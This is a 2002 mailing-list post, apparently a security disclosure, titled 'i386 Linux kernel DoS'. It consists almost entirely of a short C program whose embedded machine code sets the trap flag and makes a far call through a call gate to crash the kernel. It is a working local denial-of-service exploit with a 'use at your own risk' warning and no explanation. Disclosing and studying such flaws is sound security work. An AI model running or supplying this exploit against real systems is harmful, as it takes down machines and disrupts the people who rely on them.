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Date: 11 Nov 2002 20:25:55 -0000
From: Christophe Devine <[email protected]>
To: [email protected]
Subject: i386 Linux kernel DoS




/* USE AT YOUR OWN RISK ! */

int main( void )
{
    char dos[] = "\x9C"                           /* pushfd       */
                 "\x58"                           /* pop eax      */
                 "\x0D\x00\x01\x00\x00"           /* or eax,100h  */
                 "\x50"                           /* push eax     */
                 "\x9D"                           /* popfd        */
                 "\x9A\x00\x00\x00\x00\x07\x00";  /* call 07h:00h */

    void (* f)( void );

    f = (void *) dos; (* f)();

    return 1;
}

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